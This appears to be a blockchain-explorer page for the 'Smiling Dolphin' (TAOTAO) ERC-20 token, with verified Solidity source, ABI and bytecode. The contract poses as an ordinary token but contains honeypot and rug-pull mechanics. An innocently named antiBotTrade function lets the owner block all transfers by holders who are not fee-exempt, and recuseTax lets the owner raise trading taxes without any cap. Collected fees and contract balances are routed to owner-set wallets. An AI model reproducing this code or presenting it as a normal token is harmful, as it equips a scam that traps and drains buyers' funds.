ERC-20
Overview
Max Total Supply
10,000,000,000 TAOTAO
Holders
218
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Token
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-09 */ // SPDX-License-Identifier: MIT /** TG: https://t.me/TAOTAO_ETH X: https://x.com/taotaoethcoin **/ pragma solidity ^0.8.20; interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapRouter { function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "you are not owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Token is IERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address payable public mkt; address payable private team; string private _name; string private _symbol; uint8 private _decimals; mapping(address => bool) public _isExcludeFromFee; uint256 private _totalSupply; IUniswapRouter public _uniswapRouter; mapping(address => bool) public isMarketPair; bool private inSwap; uint256 private constant MAX = ~uint256(0); address public _uniswapPair; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (){ _name = "Smiling Dolphin"; _symbol = "TAOTAO"; _decimals = 9; uint256 Supply = 10000000000; _totalSupply = Supply * 10 ** _decimals; swapAtAmount = _totalSupply / 20000; address receiveAddr = msg.sender; _balances[receiveAddr] = _totalSupply; emit Transfer(address(0), receiveAddr, _totalSupply); mkt = payable(receiveAddr); team = payable(receiveAddr); _isExcludeFromFee[address(this)] = true; _isExcludeFromFee[receiveAddr] = true; _isExcludeFromFee[mkt] = true; _isExcludeFromFee[team] = true; } function setMKT( address payable newMKT, address payable newTeam ) public onlyOwner{ mkt = newMKT; team = newTeam; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function decimals() external view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } uint256 public _buyCount=0; uint256 private _initialBuyTax=2; uint256 private _initialSellTax=2; uint256 private _finalBuyTax=30; uint256 private _finalSellTax=30; uint256 private _reduceBuyTaxAt=29; uint256 private _reduceSellTaxAt=29; uint256 private _preventSwapBefore=40; function recuseTax( uint256 newBuy, uint256 newSell, uint256 newReduceBuy, uint256 newReduceSell, uint256 newPreventSwapBefore ) public onlyOwner { _finalBuyTax = newBuy; _finalSellTax = newSell; _reduceBuyTaxAt = newReduceBuy; _reduceSellTaxAt = newReduceSell; _preventSwapBefore = newPreventSwapBefore; } uint256 swapAtAmount; function setSwapAtAmount( uint256 newValue ) public onlyOwner{ swapAtAmount = newValue; } function _transfer( address from, address to, uint256 amount ) private { uint256 balance = balanceOf(from); require(balance >= amount, "balanceNotEnough"); if (inSwap){ _basicTransfer(from, to, amount); return; } bool takeFee; if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && _buyCount > _preventSwapBefore) { uint256 _numSellToken = amount; if (_numSellToken > balanceOf(address(this))){ _numSellToken = _balances[address(this)]; } if (_numSellToken > swapAtAmount){ swapTokenForETH(_numSellToken); } } if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) { require(startTradeBlock > 0); takeFee = true; // buyCount if (isMarketPair[from] && to != address(_uniswapRouter) && !_isExcludeFromFee[to]) { _buyCount++; } } _transferToken(from, to, amount, takeFee); } function _transferToken( address sender, address recipient, uint256 tAmount, bool takeFee ) private { _balances[sender] = _balances[sender] - tAmount; uint256 feeAmount; if (takeFee) { uint256 taxFee; if (isMarketPair[recipient]) { taxFee = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax; } else if (isMarketPair[sender]) { taxFee = _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax; } uint256 swapAmount = tAmount * taxFee / 100; if (swapAmount > 0) { feeAmount += swapAmount; _balances[address(this)] = _balances[address(this)] + swapAmount; emit Transfer(sender, address(this), swapAmount); } } _balances[recipient] = _balances[recipient] + (tAmount - feeAmount); emit Transfer(sender, recipient, tAmount - feeAmount); } uint256 public startTradeBlock; function startTrade() public onlyOwner { require(startTradeBlock == 0, "already start"); _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _allowances[address(this)][address(_uniswapRouter)] = MAX; _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH()); isMarketPair[_uniswapPair] = true; IERC20(_uniswapRouter.WETH()).approve(address(address(_uniswapRouter)), ~uint256(0)); _isExcludeFromFee[address(_uniswapRouter)] = true; _uniswapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); startTradeBlock = block.number; } function antiBotTrade() public onlyOwner{ startTradeBlock = 0; } function removeERC20(address _token) external { require(msg.sender == mkt); IERC20(_token).transfer(mkt, IERC20(_token).balanceOf(address(this))); mkt.transfer(address(this).balance); } function swapTokenForETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapRouter.WETH(); _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); uint256 _bal = address(this).balance; if (_bal > 0.01 ether){ mkt.transfer(_bal/10); team.transfer(address(this).balance); } } function setMarketingFreeTrade(address account, bool value) public onlyOwner{ _isExcludeFromFee[account] = value; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antiBotTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mkt","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuy","type":"uint256"},{"internalType":"uint256","name":"newSell","type":"uint256"},{"internalType":"uint256","name":"newReduceBuy","type":"uint256"},{"internalType":"uint256","name":"newReduceSell","type":"uint256"},{"internalType":"uint256","name":"newPreventSwapBefore","type":"uint256"}],"name":"recuseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newMKT","type":"address"},{"internalType":"address payable","name":"newTeam","type":"address"}],"name":"setMKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setMarketingFreeTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setSwapAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040525f600d556002600e556002600f55601e601055601e601155601d601255601d601355602860145534801562000037575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600f81526e29b6b4b634b733902237b6383434b760891b6020820152600590620000ad908262000289565b506040805180820190915260068082526554414f54414f60d01b602083015290620000d9908262000289565b506007805460ff191660099081179091556402540be40090620000fe90600a62000464565b6200010a90826200047b565b60098190556200011e90614e209062000495565b601555600954335f81815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b039283166001600160a01b0319918216811783556004805490921681178255305f90815260086020526040808220805460ff19908116600190811790925593835281832080548516821790559454861682528082208054841686179055925490941684529220805490921617905550620004b5565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200021457607f821691505b6020821081036200023357634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200028457805f5260205f20601f840160051c81016020851015620002605750805b601f840160051c820191505b8181101562000281575f81556001016200026c565b50505b505050565b81516001600160401b03811115620002a557620002a5620001eb565b620002bd81620002b68454620001ff565b8462000239565b602080601f831160018114620002f3575f8415620002db5750858301515b5f19600386901b1c1916600185901b1785556200034d565b5f85815260208120601f198616915b82811015620003235788860151825594840194600190910190840162000302565b50858210156200034157878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003a957815f19048211156200038d576200038d62000355565b808516156200039b57918102915b93841c93908002906200036e565b509250929050565b5f82620003c1575060016200045e565b81620003cf57505f6200045e565b8160018114620003e85760028114620003f35762000413565b60019150506200045e565b60ff84111562000407576200040762000355565b50506001821b6200045e565b5060208310610133831016604e8410600b841016171562000438575081810a6200045e565b62000444838362000369565b805f19048211156200045a576200045a62000355565b0290505b92915050565b5f6200047460ff841683620003b1565b9392505050565b80820281158282048414176200045e576200045e62000355565b5f82620004b057634e487b7160e01b5f52601260045260245ffd5b500490565b6118db80620004c35f395ff3fe60806040526004361061017e575f3560e01c806365b61b77116100cd57806395d89b4111610087578063a9059cbb11610062578063a9059cbb1461045e578063d242fbcc1461047d578063dd62ed3e1461049c578063f2fde38b146104e0575f80fd5b806395d89b411461040c578063a266e55e14610420578063a67755c21461043f575f80fd5b806365b61b77146103565780636c5808011461037557806370a0823114610389578063715018a6146103bd5780637cc5b1e6146103d15780638da5cb5b146103f0575f80fd5b8063313ce567116101385780633f80b6d7116101135780633f80b6d7146102c75780634bf28fd0146102e6578063553193ca146103225780636402511e14610337575f80fd5b8063313ce5671461024a57806336b2e0271461026b5780633ecad27114610299575f80fd5b806306fdde0314610189578063095ea7b3146101b35780630c062020146101e257806318160ddd146101f857806323b872dd1461021657806327b1a8e914610235575f80fd5b3661018557005b5f80fd5b348015610194575f80fd5b5061019d6104ff565b6040516101aa9190611512565b60405180910390f35b3480156101be575f80fd5b506101d26101cd366004611575565b61058f565b60405190151581526020016101aa565b3480156101ed575f80fd5b506101f66105a5565b005b348015610203575f80fd5b506009545b6040519081526020016101aa565b348015610221575f80fd5b506101d261023036600461159f565b6105dd565b348015610240575f80fd5b50610208600d5481565b348015610255575f80fd5b5060075460405160ff90911681526020016101aa565b348015610276575f80fd5b506101d26102853660046115dd565b60086020525f908152604090205460ff1681565b3480156102a4575f80fd5b506101d26102b33660046115dd565b600b6020525f908152604090205460ff1681565b3480156102d2575f80fd5b506101f66102e13660046115ff565b61066f565b3480156102f1575f80fd5b50600c5461030a9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101aa565b34801561032d575f80fd5b5061020860165481565b348015610342575f80fd5b506101f6610351366004611636565b6106af565b348015610361575f80fd5b50600a5461030a906001600160a01b031681565b348015610380575f80fd5b506101f66106dd565b348015610394575f80fd5b506102086103a33660046115dd565b6001600160a01b03165f9081526001602052604090205490565b3480156103c8575f80fd5b506101f6610af1565b3480156103dc575f80fd5b5060035461030a906001600160a01b031681565b3480156103fb575f80fd5b505f546001600160a01b031661030a565b348015610417575f80fd5b5061019d610b62565b34801561042b575f80fd5b506101f661043a36600461165a565b610b71565b34801561044a575f80fd5b506101f66104593660046115dd565b610bc4565b348015610469575f80fd5b506101d2610478366004611575565b610cf6565b348015610488575f80fd5b506101f6610497366004611691565b610d02565b3480156104a7575f80fd5b506102086104b6366004611691565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104eb575f80fd5b506101f66104fa3660046115dd565b610d59565b60606005805461050e906116bd565b80601f016020809104026020016040519081016040528092919081815260200182805461053a906116bd565b80156105855780601f1061055c57610100808354040283529160200191610585565b820191905f5260205f20905b81548152906001019060200180831161056857829003601f168201915b5050505050905090565b5f61059b338484610e1c565b5060015b92915050565b5f546001600160a01b031633146105d75760405162461bcd60e51b81526004016105ce906116f5565b60405180910390fd5b5f601655565b5f6105e9848484610e7c565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f1914610665576001600160a01b0384165f908152600260209081526040808320338452909152902054610641908390611734565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146106985760405162461bcd60e51b81526004016105ce906116f5565b601094909455601192909255601255601355601455565b5f546001600160a01b031633146106d85760405162461bcd60e51b81526004016105ce906116f5565b601555565b5f546001600160a01b031633146107065760405162461bcd60e51b81526004016105ce906116f5565b601654156107465760405162461bcd60e51b815260206004820152600d60248201526c185b1c9958591e481cdd185c9d609a1b60448201526064016105ce565b600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255305f908152600260209081526040808320938352928152908290205f1990559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa1580156107ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f29190611747565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610851573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108759190611747565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e39190611747565b600c8054610100600160a81b0319166101006001600160a01b0393841681029190911791829055900481165f908152600b6020908152604091829020805460ff19166001179055600a5482516315ab88c960e31b8152925193169263ad5c46489260048082019392918290030181865afa158015610963573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109879190611747565b600a5460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af11580156109d6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109fa9190611762565b50600a80546001600160a01b039081165f908152600860205260409020805460ff1916600117905590541663f305d7194730610a4a816001600160a01b03165f9081526001602052604090205490565b5f80610a5d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ac3573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ae8919061177d565b50504360165550565b5f546001600160a01b03163314610b1a5760405162461bcd60e51b81526004016105ce906116f5565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606006805461050e906116bd565b5f546001600160a01b03163314610b9a5760405162461bcd60e51b81526004016105ce906116f5565b6001600160a01b03919091165f908152600860205260409020805460ff1916911515919091179055565b6003546001600160a01b03163314610bda575f80fd5b6003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610c2b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c4f91906117a8565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610c97573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cbb9190611762565b506003546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610cf2573d5f803e3d5ffd5b5050565b5f61059b338484610e7c565b5f546001600160a01b03163314610d2b5760405162461bcd60e51b81526004016105ce906116f5565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b5f546001600160a01b03163314610d825760405162461bcd60e51b81526004016105ce906116f5565b6001600160a01b038116610dc35760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016105ce565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526001602052604090205481811015610ed75760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b60448201526064016105ce565b600c5460ff1615610ef457610eed84848461109c565b5050505050565b6001600160a01b0383165f908152600b602052604081205460ff168015610f1e5750600c5460ff16155b8015610f4257506001600160a01b0385165f9081526008602052604090205460ff16155b8015610f6657506001600160a01b0384165f9081526008602052604090205460ff16155b8015610f755750601454600d54115b15610fb857305f908152600160205260409020548390811115610fa35750305f908152600160205260409020545b601554811115610fb657610fb68161114f565b505b6001600160a01b0385165f9081526008602052604090205460ff16158015610ff857506001600160a01b0384165f9081526008602052604090205460ff16155b80156110075750600c5460ff16155b15611090575f60165411611019575f80fd5b506001600160a01b0384165f908152600b602052604090205460019060ff1680156110525750600a546001600160a01b03858116911614155b801561107657506001600160a01b0384165f9081526008602052604090205460ff16155b1561109057600d8054905f61108a836117bf565b91905055505b610eed85858584611327565b6001600160a01b0383165f908152600160205260408120805483919083906110c5908490611734565b90915550506001600160a01b0383165f90815260016020526040812080548492906110f19084906117d7565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161113d91815260200190565b60405180910390a35060019392505050565b600c805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061118f5761118f6117ea565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111e6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061120a9190611747565b8160018151811061121d5761121d6117ea565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac947906112629085905f908690309042906004016117fe565b5f604051808303815f87803b158015611279575f80fd5b505af115801561128b573d5f803e3d5ffd5b504792505050662386f26fc10000811115611318576003546001600160a01b03166108fc6112ba600a8461186f565b6040518115909202915f818181858888f193505050501580156112df573d5f803e3d5ffd5b506004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015611316573d5f803e3d5ffd5b505b5050600c805460ff1916905550565b6001600160a01b0384165f9081526001602052604090205461134a908390611734565b6001600160a01b0385165f908152600160205260408120919091558115611485576001600160a01b0384165f908152600b602052604081205460ff16156113a957601354600d541161139e57600f546113a2565b6011545b90506113e3565b6001600160a01b0386165f908152600b602052604090205460ff16156113e357601254600d54116113dc57600e546113e0565b6010545b90505b5f60646113f0838761188e565b6113fa919061186f565b905080156114825761140c81846117d7565b305f908152600160205260409020549093506114299082906117d7565b305f81815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114799085815260200190565b60405180910390a35b50505b61148f8184611734565b6001600160a01b0385165f908152600160205260409020546114b191906117d7565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114fa8487611734565b60405190815260200160405180910390a35050505050565b5f602080835283518060208501525f5b8181101561153e57858101830151858201604001528201611522565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611572575f80fd5b50565b5f8060408385031215611586575f80fd5b82356115918161155e565b946020939093013593505050565b5f805f606084860312156115b1575f80fd5b83356115bc8161155e565b925060208401356115cc8161155e565b929592945050506040919091013590565b5f602082840312156115ed575f80fd5b81356115f88161155e565b9392505050565b5f805f805f60a08688031215611613575f80fd5b505083359560208501359550604085013594606081013594506080013592509050565b5f60208284031215611646575f80fd5b5035919050565b8015158114611572575f80fd5b5f806040838503121561166b575f80fd5b82356116768161155e565b915060208301356116868161164d565b809150509250929050565b5f80604083850312156116a2575f80fd5b82356116ad8161155e565b915060208301356116868161155e565b600181811c908216806116d157607f821691505b6020821081036116ef57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561059f5761059f611720565b5f60208284031215611757575f80fd5b81516115f88161155e565b5f60208284031215611772575f80fd5b81516115f88161164d565b5f805f6060848603121561178f575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117b8575f80fd5b5051919050565b5f600182016117d0576117d0611720565b5060010190565b8082018082111561059f5761059f611720565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561184e5784516001600160a01b031683529383019391830191600101611829565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261188957634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761059f5761059f61172056fea2646970667358221220dba7b6aa5ac4ea2df4edf910f74d399ea7e5c7cfbbb114b7730aeea74fe2503b64736f6c63430008170033
Deployed Bytecode
0x60806040526004361061017e575f3560e01c806365b61b77116100cd57806395d89b4111610087578063a9059cbb11610062578063a9059cbb1461045e578063d242fbcc1461047d578063dd62ed3e1461049c578063f2fde38b146104e0575f80fd5b806395d89b411461040c578063a266e55e14610420578063a67755c21461043f575f80fd5b806365b61b77146103565780636c5808011461037557806370a0823114610389578063715018a6146103bd5780637cc5b1e6146103d15780638da5cb5b146103f0575f80fd5b8063313ce567116101385780633f80b6d7116101135780633f80b6d7146102c75780634bf28fd0146102e6578063553193ca146103225780636402511e14610337575f80fd5b8063313ce5671461024a57806336b2e0271461026b5780633ecad27114610299575f80fd5b806306fdde0314610189578063095ea7b3146101b35780630c062020146101e257806318160ddd146101f857806323b872dd1461021657806327b1a8e914610235575f80fd5b3661018557005b5f80fd5b348015610194575f80fd5b5061019d6104ff565b6040516101aa9190611512565b60405180910390f35b3480156101be575f80fd5b506101d26101cd366004611575565b61058f565b60405190151581526020016101aa565b3480156101ed575f80fd5b506101f66105a5565b005b348015610203575f80fd5b506009545b6040519081526020016101aa565b348015610221575f80fd5b506101d261023036600461159f565b6105dd565b348015610240575f80fd5b50610208600d5481565b348015610255575f80fd5b5060075460405160ff90911681526020016101aa565b348015610276575f80fd5b506101d26102853660046115dd565b60086020525f908152604090205460ff1681565b3480156102a4575f80fd5b506101d26102b33660046115dd565b600b6020525f908152604090205460ff1681565b3480156102d2575f80fd5b506101f66102e13660046115ff565b61066f565b3480156102f1575f80fd5b50600c5461030a9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101aa565b34801561032d575f80fd5b5061020860165481565b348015610342575f80fd5b506101f6610351366004611636565b6106af565b348015610361575f80fd5b50600a5461030a906001600160a01b031681565b348015610380575f80fd5b506101f66106dd565b348015610394575f80fd5b506102086103a33660046115dd565b6001600160a01b03165f9081526001602052604090205490565b3480156103c8575f80fd5b506101f6610af1565b3480156103dc575f80fd5b5060035461030a906001600160a01b031681565b3480156103fb575f80fd5b505f546001600160a01b031661030a565b348015610417575f80fd5b5061019d610b62565b34801561042b575f80fd5b506101f661043a36600461165a565b610b71565b34801561044a575f80fd5b506101f66104593660046115dd565b610bc4565b348015610469575f80fd5b506101d2610478366004611575565b610cf6565b348015610488575f80fd5b506101f6610497366004611691565b610d02565b3480156104a7575f80fd5b506102086104b6366004611691565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104eb575f80fd5b506101f66104fa3660046115dd565b610d59565b60606005805461050e906116bd565b80601f016020809104026020016040519081016040528092919081815260200182805461053a906116bd565b80156105855780601f1061055c57610100808354040283529160200191610585565b820191905f5260205f20905b81548152906001019060200180831161056857829003601f168201915b5050505050905090565b5f61059b338484610e1c565b5060015b92915050565b5f546001600160a01b031633146105d75760405162461bcd60e51b81526004016105ce906116f5565b60405180910390fd5b5f601655565b5f6105e9848484610e7c565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f1914610665576001600160a01b0384165f908152600260209081526040808320338452909152902054610641908390611734565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146106985760405162461bcd60e51b81526004016105ce906116f5565b601094909455601192909255601255601355601455565b5f546001600160a01b031633146106d85760405162461bcd60e51b81526004016105ce906116f5565b601555565b5f546001600160a01b031633146107065760405162461bcd60e51b81526004016105ce906116f5565b601654156107465760405162461bcd60e51b815260206004820152600d60248201526c185b1c9958591e481cdd185c